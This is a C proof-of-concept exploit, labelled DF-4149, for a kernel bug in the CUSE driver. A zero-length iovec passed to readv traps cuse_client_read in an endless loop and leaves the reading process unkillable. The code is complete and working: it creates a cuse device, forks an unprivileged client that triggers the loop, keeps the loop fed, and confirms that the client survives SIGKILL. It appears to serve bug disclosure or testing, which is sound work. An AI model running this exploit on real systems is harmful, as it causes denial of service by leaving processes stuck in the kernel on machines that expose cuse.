/*
 * DF-4149 PoC - zero-length iovec => unkillable read loop in cuse_client_read
 *
 * cuse_client_read() (cuse.c:1661-1750) walks uio->uio_iov directly:
 *
 *   while (uio->uio_resid != 0) {
 *           len = uio->uio_iov->iov_len;          <- can be 0
 *           ... send CUSE_CMD_READ, wait for server ...
 *           else if (error == len)                 <- 0 == 0
 *                   uiomove(NULL, 0, uio);         <- NO progress
 *
 * uiomove() with count 0 never advances uio_iov past the empty iov =>
 * the loop re-sends a 0-length READ command forever.  After the first
 * signal cv_wait_sig is not used again inside that receive (error!=0 =>
 * uninterruptible cv_wait), so SIGKILL is never delivered while the
 * server keeps replying: the reader becomes unkillable for as long as
 * the cuse server services commands.
 *
 * Trigger: readv(cuse_fd, [{NULL, 0}, {buf, 8}], 2) on any cuse device.
 */
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/ioccom.h>
#include <sys/ioctl.h>

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>

#define	CUSE_ERR_NONE		0
enum { CUSE_CMD_NONE, CUSE_CMD_OPEN, CUSE_CMD_CLOSE, CUSE_CMD_READ,
       CUSE_CMD_WRITE, CUSE_CMD_IOCTL, CUSE_CMD_POLL, CUSE_CMD_SIGNAL,
       CUSE_CMD_SYNC, CUSE_CMD_MAX };
struct cuse_dev;
struct cuse_data_chunk { uintptr_t local_ptr, peer_ptr; unsigned long length; };
struct cuse_command {
	struct cuse_dev *dev; unsigned long fflags; uintptr_t per_file_handle;
	uintptr_t data_pointer; unsigned long argument, command;
};
struct cuse_create_dev {
	struct cuse_dev *dev; uid_t user_id; gid_t group_id; int permissions;
	char devname[80];
};
#define	CUSE_IOCTL_GET_COMMAND	_IOR('C', 0, struct cuse_command)
#define	CUSE_IOCTL_SYNC_COMMAND	_IOW('C', 3, int)
#define	CUSE_IOCTL_CREATE_DEV	_IOW('C', 8, struct cuse_create_dev)

int
main(void)
{
	struct cuse_create_dev cd;
	struct cuse_command cmd;
	int fd, cfd, rv = CUSE_ERR_NONE;
	char buf[8];
	struct iovec iov[2] = { { NULL, 0 }, { buf, sizeof(buf) } };
	pid_t client;

	fd = open("/dev/cuse", O_RDWR);
	if (fd < 0) {
		perror("open /dev/cuse");
		return 1;
	}
	memset(&cd, 0, sizeof(cd));
	strlcpy(cd.devname, "cuse_zero0", sizeof(cd.devname));
	cd.permissions = 0666;
	if (ioctl(fd, CUSE_IOCTL_CREATE_DEV, &cd) != 0) {
		perror("CREATE_DEV");
		return 1;
	}

	/* wait for the client's OPEN and complete it */
	client = fork();
	if (client == 0) {
		setgid(65534);
		setuid(65534);
		cfd = -1;
		for (int i = 0; i < 200; i++) {
			cfd = open("/dev/cuse_zero0", O_RDWR);
			if (cfd >= 0)
				break;
			usleep(1000);
		}
		if (cfd < 0)
			_exit(9);
		printf("[+] client uid=%d entering readv(iov[0].len=0, iov[1].len=8)\n",
		    getuid());
		fflush(stdout);
		ssize_t r = readv(cfd, iov, 2);
		printf("[-] readv RETURNED %zd - loop terminated (bug NOT hit)\n", r);
		fflush(stdout);
		_exit(1);
	}
	if (ioctl(fd, CUSE_IOCTL_GET_COMMAND, &cmd) != 0) {
		perror("GET_COMMAND");
		return 1;
	}
	ioctl(fd, CUSE_IOCTL_SYNC_COMMAND, &rv);	/* complete the open */
	printf("[+] server: open completed; now replying 0 to every READ\n");

	/* pump: reply 0 to every READ command the looping client emits */
	for (int i = 0; i < 4000; i++) {
		if (ioctl(fd, CUSE_IOCTL_GET_COMMAND, &cmd) != 0)
			break;
		if (ioctl(fd, CUSE_IOCTL_SYNC_COMMAND, &rv) != 0)
			break;
	}

	/* the client should now be stuck in the kernel; try to kill it */
	printf("[*] kill -9 client...\n");
	if (kill(client, SIGKILL) != 0)
		perror("kill");
	sleep(2);
	int err = 0;
	if (waitpid(client, &err, WNOHANG) == 0) {
		printf("[+] client SURVIVED SIGKILL (unkillable, stuck in "
		    "cuse_client_read loop) - DoS confirmed\n");
	} else {
		printf("[-] client died from SIGKILL (loop not hit)\n");
	}
	printf("[*] server exiting -> is_closing releases the client\n");
	close(fd);
	sleep(2);
	waitpid(client, &err, WNOHANG);
	printf("[*] done (client should be gone now)\n");
	return 0;
}
